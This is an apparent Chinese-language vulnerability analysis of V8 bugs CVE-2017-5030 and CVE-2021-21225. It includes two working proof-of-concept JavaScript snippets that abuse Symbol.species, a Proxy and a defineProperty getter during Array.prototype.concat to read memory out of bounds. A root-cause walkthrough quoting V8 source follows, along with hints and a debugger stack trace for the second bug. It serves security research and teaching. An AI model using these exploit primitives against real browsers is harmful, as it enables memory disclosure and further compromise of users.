CVE-2017-5030
PoC
// ../../v8/v8/out/x64.debug/d8 --allow-natives-syntax --expose-gc poc.js
var p = new Proxy([], {});
var b_dp = Object.prototype.defineProperty;
class MyArray extends Array {
static get [Symbol.species]() { return function() { return p; }}; // custom constructor which returns a proxy object
}
var w = new MyArray(100);
w[1] = 0.1;
w[2] = 0.1;
function evil_callback() {
w.length = 1; // shorten the array so the backstore pointer is relocated
gc(); // force gc to move the array's elements backstore
return b_dp;
}
Object.prototype.__defineGetter__("defineProperty", evil_callback);
var c = Array.prototype.concat.call(w);
for (var i = 0; i < 20; i++) { // however many values you want to leak
print(c[i]);
}
Root Cause
v8使用一种名为CodeStubAssembler的非常类似于汇编语言,同时保持平台无关性并保持可读性的语言来实现其js builtin函数。
BUILTIN(ArrayConcat) {
...
Handle<Object> species;
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, species, Object::ArraySpeciesConstructor(isolate, receiver));
if (*species == *isolate->array_function()) {
if (Fast_ArrayConcat(isolate, &args).ToHandle(&result_array)) {
return *result_array;
}
if (isolate->has_pending_exception()) return isolate->heap()->exception();
}
return Slow_ArrayConcat(&args, species, isolate);
}
...
这里ASSIGN_RETURN_ON_EXCEPTION_VALUE宏其实就是(call).ToHandle(&dst)
,
#define ASSIGN_RETURN_ON_EXCEPTION_VALUE(isolate, dst, call, value) \
do { \
if (!(call).ToHandle(&dst)) { \
DCHECK((isolate)->has_pending_exception()); \
return value; \
} \
} while (false)
#define ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, dst, call) \
do { \
Isolate* __isolate__ = (isolate); \
ASSIGN_RETURN_ON_EXCEPTION_VALUE(__isolate__, dst, call, \
__isolate__->heap()->exception()); \
} while (false)
也就是说这里首先调用ArraySpeciesConstructor,它将先从reciver中取出constructor属性,然后取出该属性的Symbol.species
属性。
然后将结果通过ToHandle将结果保存到dst里,这里可以将Handle粗略理解成一种智能指针,这层封装完全是为了GC时对对象的标记。
MaybeHandle<Object> Object::ArraySpeciesConstructor(
Isolate* isolate, Handle<Object> original_array) {
Handle<Object> default_species = isolate->array_function();
if (original_array->IsJSArray() &&
Handle<JSArray>::cast(original_array)->HasArrayPrototype(isolate) &&
isolate->IsArraySpeciesLookupChainIntact()) {
return default_species;
}
Handle<Object> constructor = isolate->factory()->undefined_value();
Maybe<bool> is_array = Object::IsArray(original_array);
MAYBE_RETURN_NULL(is_array);
if (is_array.FromJust()) {
ASSIGN_RETURN_ON_EXCEPTION(
isolate, constructor,
Object::GetProperty(original_array,
isolate->factory()->constructor_string()),
Object);
if (constructor->IsConstructor()) {
Handle<Context> constructor_context;
ASSIGN_RETURN_ON_EXCEPTION(
isolate, constructor_context,
JSReceiver::GetFunctionRealm(Handle<JSReceiver>::cast(constructor)),
Object);
if (*constructor_context != *isolate->native_context() &&
*constructor == constructor_context->array_function()) {
constructor = isolate->factory()->undefined_value();
}
}
if (constructor->IsJSReceiver()) {
ASSIGN_RETURN_ON_EXCEPTION(
isolate, constructor,
JSReceiver::GetProperty(Handle<JSReceiver>::cast(constructor),
isolate->factory()->species_symbol()),
Object);
if (constructor->IsNull(isolate)) {
constructor = isolate->factory()->undefined_value();
}
}
}
if (constructor->IsUndefined(isolate)) {
return default_species;
} else {
if (!constructor->IsConstructor()) {
THROW_NEW_ERROR(isolate,
NewTypeError(MessageTemplate::kSpeciesNotConstructor),
Object);
}
return constructor;
}
}
举个例子,对于一般的array对象,它的constructor是Array构造函数
w = new Array();
print(w.constructor);
print(w.constructor[Symbol.species]);
->
➜ ia32.debug git:(1ae9314d1b) ./d8 --allow-natives-syntax --expose-gc poc.js
function Array() { [native code] }
function Array() { [native code] }
但若是自定义的class就是这样
class MyArray extends Array {
}
var w = new MyArray(100);
print(w.constructor);
print(w.constructor[Symbol.species]);
->
➜ ia32.debug git:(1ae9314d1b) ./d8 --allow-natives-syntax --expose-gc poc.js
class MyArray extends Array {
}
class MyArray extends Array {
}
注意更有趣的是我们可以在自定义class上定义Symbol.species
属性来让w.constructor[Symbol.species]
和w.constructor
的结果不同,而最后通过ArraySpeciesConstructor取到的将是这个自定义的species属性里保存的函数。
var p = new Proxy([], {});
class MyArray extends Array {
static get [Symbol.species]() { return function() { return p; }};
}
var w = new MyArray(100);
print(w.constructor);
print(w.constructor[Symbol.species]);
->
➜ ia32.debug git:(1ae9314d1b) ./d8 --allow-natives-syntax --expose-gc poc.js
class MyArray extends Array {
static get [Symbol.species]() { return function() { return p; }};
}
function () { return p; }
随后只要species的结果不是Array的构造函数,就会进入slow path。
在SlowPath中,只要species不是Array的构造函数,则is_array_species为false。由于is_array_species为false,因此fast_case也为false。最终进入else分支。
Object* Slow_ArrayConcat(...) {
...
if (fast_case) {
...
} else if (is_array_species) {
...
} else {
DCHECK(species->IsConstructor());
Handle<Object> length(Smi::kZero, isolate);
Handle<Object> storage_object;
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, storage_object,
Execution::New(isolate, species, species, 1, &length)); //<----- Our species function is executed, giving us control of the storage object (L#1242)
storage = storage_object;
}
...
}
在else分支里,首先调用之前得到的speices函数,构造出一个新对象,将其地址保存在storage_object指针中。
在Slow path中,会声明一个ArrayConcatVisitor,并对每个args调用一次IterateElements函数,以遍历每个arg上的具体数组元素。
这其实很好理解,因为concat的用法是w1.concat(w2,w3,...)
,其结果是将w1和w2,w3三个数组的元素相连构造出一个新数组返回,所以势必要遍历每个array。
所以这里args
就是w1.concat(w2,w3,...)
里的这个w1,w2,w3。
ArrayConcatVisitor visitor(isolate, storage, fast_case);// <----- visitor now holds a reference to our storage object (L#1246)
for (int i = 0; i < argument_count; i++) {
Handle<Object> obj((*args)[i], isolate);
Maybe<bool> spreadable = IsConcatSpreadable(isolate, obj);
MAYBE_RETURN(spreadable, isolate->heap()->exception());
if (spreadable.FromJust()) {
Handle<JSReceiver> object = Handle<JSReceiver>::cast(obj);
if (!IterateElements(isolate, object, &visitor)) {// <----- IterateElements is called using our visitor (L#1254)
return isolate->heap()->exception();
}
} else {
if (!visitor.visit(0, obj)) return isolate->heap()->exception();
visitor.increase_index_offset(1);
}
}
遍历时,进入IterateElements的fast path。
在 fast path中,对array的每个元素调用visit函数,需要注意的是在IterateElements遍历数组元素的时候,它是先缓存了array的长度到fast_length
里的。
所以只要能在下面循环内将array的长度改小,则由于fast length使用的是修改之前的原长度,就会越界读写
bool IterateElements(...) {
...
...
case FAST_HOLEY_DOUBLE_ELEMENTS:
case FAST_DOUBLE_ELEMENTS: {
// Empty array is FixedArray but not FixedDoubleArray.
if (length == 0) break;
// Run through the elements FixedArray and use HasElement and GetElement
// to check the prototype for missing elements.
if (array->elements()->IsFixedArray()) {
DCHECK(array->elements()->length() == 0);
break;
}
Handle<FixedDoubleArray> elements(
FixedDoubleArray::cast(array->elements()));
int fast_length = static_cast<int>(length);
DCHECK(fast_length <= elements->length());
// 注意这里保存了 fast_length
FOR_WITH_HANDLE_SCOPE(isolate, int, j = 0, j, j < fast_length, j++, {
if (!elements->is_the_hole(j)) {
double double_value = elements->get_scalar(j); <-----
Handle<Object> element_value =
isolate->factory()->NewNumber(double_value);
if (!visitor->visit(j, element_value)) return false; <----- visitor->visit is called (L#1008)
} else {
Maybe<bool> maybe = JSReceiver::HasElement(array, j);
if (!maybe.IsJust()) return false;
if (maybe.FromJust()) {
// Call GetElement on array, not its prototype, or getters won't
// have the correct receiver.
Handle<Object> element_value;
ASSIGN_RETURN_ON_EXCEPTION_VALUE(
isolate, element_value,
JSReceiver::GetElement(isolate, array, j), false);
if (!visitor->visit(j, element_value)) return false; <----- visitor->visit is called (L#1019)
}
}
});
break;
}
}
visit函数内部是这样的,它先通过storage,也就是指向我们之前调用speices构造函数构造出来的对象的指针,来构造出一个LookupIterator对象it。
然后在该函数内部又继续调用CreateDataProperty函数。
MUST_USE_RESULT bool visit(uint32_t i, Handle<Object> elm) {
uint32_t index = index_offset_ + i;
...
if (!is_fixed_array()) {
LookupIterator it(isolate_, storage_, index, LookupIterator::OWN);
MAYBE_RETURN(
JSReceiver::CreateDataProperty(&it, elm, Object::THROW_ON_ERROR),
false);
return true;
}
...
}
在该函数中,先通过it->GetReceiver
来取出storage,然后有个针对IsJSObject的判断。通过定义Symbol.species
属性来构造出一个JSProxy对象,因此绕过该条件判断,进入下面的DefineOwnProperty。
// static
Maybe<bool> JSReceiver::CreateDataProperty(LookupIterator* it,
Handle<Object> value,
ShouldThrow should_throw) {
DCHECK(!it->check_prototype_chain());
Handle<JSReceiver> receiver = Handle<JSReceiver>::cast(it->GetReceiver());
Isolate* isolate = receiver->GetIsolate();
if (receiver->IsJSObject()) {
return JSObject::CreateDataProperty(it, value, should_throw); // Shortcut.
}
PropertyDescriptor new_desc;
new_desc.set_value(value);
new_desc.set_writable(true);
new_desc.set_enumerable(true);
new_desc.set_configurable(true);
return JSReceiver::DefineOwnProperty(isolate, receiver, it->GetName(),
&new_desc, should_throw);
}
这里继续调用JSProxy::DefineOwnProperty.
// static
Maybe<bool> JSReceiver::DefineOwnProperty(Isolate* isolate,
Handle<JSReceiver> object,
Handle<Object> key,
PropertyDescriptor* desc,
ShouldThrow should_throw) {
if (object->IsJSArray()) {
return JSArray::DefineOwnProperty(isolate, Handle<JSArray>::cast(object),
key, desc, should_throw);
}
if (object->IsJSProxy()) {
return JSProxy::DefineOwnProperty(isolate, Handle<JSProxy>::cast(object),
key, desc, should_throw);
}
// TODO(jkummerow): Support Modules (ES6 9.4.6.6)
// OrdinaryDefineOwnProperty, by virtue of calling
// DefineOwnPropertyIgnoreAttributes, can handle arguments (ES6 9.4.4.2)
// and IntegerIndexedExotics (ES6 9.4.5.3), with one exception:
// TODO(jkummerow): Setting an indexed accessor on a typed array should throw.
return OrdinaryDefineOwnProperty(isolate, Handle<JSObject>::cast(object), key,
desc, should_throw);
}
在JSProxy::DefineOwnProperty
中,将从proxy对象上先取出它的handler,然后获取它的defineProperty
属性,这将触发一个getter回调,从而改掉array的长度,造成越界读。
Maybe<bool> JSProxy::DefineOwnProperty(...) {
STACK_CHECK(isolate, Nothing<bool>());
if (key->IsSymbol() && Handle<Symbol>::cast(key)->IsPrivate()) {
return SetPrivateProperty(isolate, proxy, Handle<Symbol>::cast(key), desc,
should_throw);
}
Handle<String> trap_name = isolate->factory()->defineProperty_string(); //<----- "defineProperty" string (L#6855)
...
ASSIGN_RETURN_ON_EXCEPTION_VALUE(
isolate, trap,
Object::GetMethod(Handle<JSReceiver>::cast(handler), trap_name),// <---- GetMethod calls GetProperty which triggers getters (L#6873)
Nothing<bool>());
}
// static
MaybeHandle<Object> Object::GetMethod(Handle<JSReceiver> receiver,
Handle<Name> name) {
Handle<Object> func;
Isolate* isolate = receiver->GetIsolate();
ASSIGN_RETURN_ON_EXCEPTION(isolate, func,
JSReceiver::GetProperty(receiver, name), Object);
if (func->IsNull(isolate) || func->IsUndefined(isolate)) {
return isolate->factory()->undefined_value();
}
if (!func->IsCallable()) {
THROW_NEW_ERROR(isolate, NewTypeError(MessageTemplate::kPropertyNotFunction,
func, name, receiver),
Object);
}
return func;
}
所以其实最后poc也可以改成这样。
var p1 = {}
var p = new Proxy([], p1);
var b_dp = p.defineProperty;
class MyArray extends Array {
static get [Symbol.species]() { return function() { return p; }}; // custom constructor which returns a proxy object
}
var w = new MyArray(100);
w[1] = 0.1;
w[2] = 0.1;
function evil_callback() {
w.length = 1; // shorten the array so the backstore pointer is relocated
gc(); // force gc to move the array's elements backstore
return b_dp;
}
p1.__defineGetter__("defineProperty", evil_callback);
var c = w.concat();
for (var i = 0; i < 20; i++) { // however many values you want to leak
print(c[i]);
}
CVE-2021-21225
CVE-2021-21225的PoC尚未公开,我构造出了这个漏洞的poc,并在这里其造成回调的调用栈。
事实上这个漏洞利用了typedarray的valueof trick,从而在CreateDataProperty的shotcut路径里触发了回调,提示到这里,聪明的读者应该可以自己构造出来了。
这个漏洞的引入来自2021年的一个补丁修改了typedArray的一些feature。
// static
Maybe<bool> JSReceiver::CreateDataProperty(LookupIterator* it,
Handle<Object> value,
ShouldThrow should_throw) {
DCHECK(!it->check_prototype_chain());
Handle<JSReceiver> receiver = Handle<JSReceiver>::cast(it->GetReceiver());
Isolate* isolate = receiver->GetIsolate();
if (receiver->IsJSObject()) {
return JSObject::CreateDataProperty(it, value, should_throw); // Shortcut.
}
PropertyDescriptor new_desc;
new_desc.set_value(value);
new_desc.set_writable(true);
new_desc.set_enumerable(true);
new_desc.set_configurable(true);
return JSReceiver::DefineOwnProperty(isolate, receiver, it->GetName(),
&new_desc, should_throw);
}
callback
->
#6 0x00007ffff63ace31 in v8::internal::JSReceiver::GetProperty(v8::internal::Isolate*, v8::internal::Handle<v8::internal::JSReceiver>, v8::internal::Handle<v8::internal::Name>) () at ../../src/objects/js-objects-inl.h:56
#7 0x00007ffff6dc8ee8 in v8::internal::Object::GetMethod(v8::internal::Handle<v8::internal::JSReceiver>, v8::internal::Handle<v8::internal::Name>) () at ../../src/objects/objects.cc:966
#8 0x00007ffff6d2d4dd in v8::internal::JSReceiver::ToPrimitive(v8::internal::Handle<v8::internal::JSReceiver>, v8::internal::ToPrimitiveHint) () at ../../src/objects/js-objects.cc:1855
#9 0x00007ffff6dc3a6b in v8::internal::Object::ConvertToNumberOrNumeric(v8::internal::Isolate*, v8::internal::Handle<v8::internal::Object>, v8::internal::Object::Conversion) () at ../../src/objects/objects.cc:310
warning: Could not find DWO CU obj/v8_base_without_compiler/api.dwo(0x7e262483d2924ef) referenced by CU at offset 0xec [in module /home/sakura/v8_8.9.255.25/v8/out/x64.debug/libv8.so]
#10 0x00007ffff641e22c in v8::internal::Object::ToNumber(v8::internal::Isolate*, v8::internal::Handle<v8::internal::Object>) () at ../../src/objects/objects-inl.h:570
#11 0x00007ffff6dd7000 in v8::internal::Object::SetDataProperty(v8::internal::LookupIterator*, v8::internal::Handle<v8::internal::Object>) () at ../../src/objects/objects.cc:2772
#12 0x00007ffff6d2b2f8 in v8::internal::JSObject::DefineOwnPropertyIgnoreAttributes(v8::internal::LookupIterator*, v8::internal::Handle<v8::internal::Object>, v8::internal::PropertyAttributes, v8::Maybe<v8::internal::ShouldThrow>, v8::internal::JSObject::AccessorInfoHandling) () at ../../src/objects/js-objects.cc:3380
#13 0x00007ffff6d2aa58 in v8::internal::JSObject::DefineOwnPropertyIgnoreAttributes(v8::internal::LookupIterator*, v8::internal::Handle<v8::internal::Object>, v8::internal::PropertyAttributes, v8::internal::JSObject::AccessorInfoHandling) () at ../../src/objects/js-objects.cc:3309
#14 0x00007ffff6d2348d in v8::internal::JSObject::CreateDataProperty(v8::internal::LookupIterator*, v8::internal::Handle<v8::internal::Object>, v8::Maybe<v8::internal::ShouldThrow>) () at ../../src/objects/js-objects.cc:3781
#15 0x00007ffff6d2b659 in v8::internal::JSReceiver::CreateDataProperty(v8::internal::LookupIterator*, v8::internal::Handle<v8::internal::Object>, v8::Maybe<v8::internal::ShouldThrow>) () at ../../src/objects/js-objects.cc:1564
warning: Could not find DWO CU obj/v8_base_without_compiler/builtins-array.dwo(0x9e399020eeed1d00) referenced by CU at offset 0x3f8 [in module /home/sakura/v8_8.9.255.25/v8/out/x64.debug/libv8.so]
#16 0x00007ffff652bb7e in v8::internal::(anonymous namespace)::ArrayConcatVisitor::visit(unsigned int, v8::internal::Handle<v8::internal::Object>) () at ../../src/builtins/builtins-array.cc:675
#17 0x00007ffff652ab68 in v8::internal::(anonymous namespace)::IterateElements(v8::internal::Isolate*, v8::internal::Handle<v8::internal::JSReceiver>, v8::internal::(anonymous namespace)::ArrayConcatVisitor*) () at ../../src/builtins/builtins-array.cc:1090
#18 0x00007ffff6529446 in v8::internal::(anonymous namespace)::Slow_ArrayConcat(v8::internal::BuiltinArguments*, v8::internal::Handle<v8::internal::Object>, v8::internal::Isolate*) () at ../../src/builtins/builtins-array.cc:1387
#19 0x00007ffff6525455 in v8::internal::Builtin_Impl_ArrayConcat(v8::internal::BuiltinArguments, v8::internal::Isolate*) () at ../../src/builtins/builtins-array.cc:1505
#20 0x00007ffff6524d2e in v8::internal::Builtin_ArrayConcat(int, unsigned long*, v8::internal::Isolate*) () at ../../src/builtins/builtins-array.cc:1472
#21 0x00007ffff5f2e9a0 in Builtins_CEntry_Return1_DontSaveFPRegs_ArgvOnStack_BuiltinExit () from /home/sakura/v8_8.9.255.25/v8/out/x64.debug/libv8.so
#22 0x00007ffff5cd8779 in Builtins_InterpreterEntryTrampoline () from /home/sakura/v8_8.9.255.25/v8/out/x64.debug/libv8.so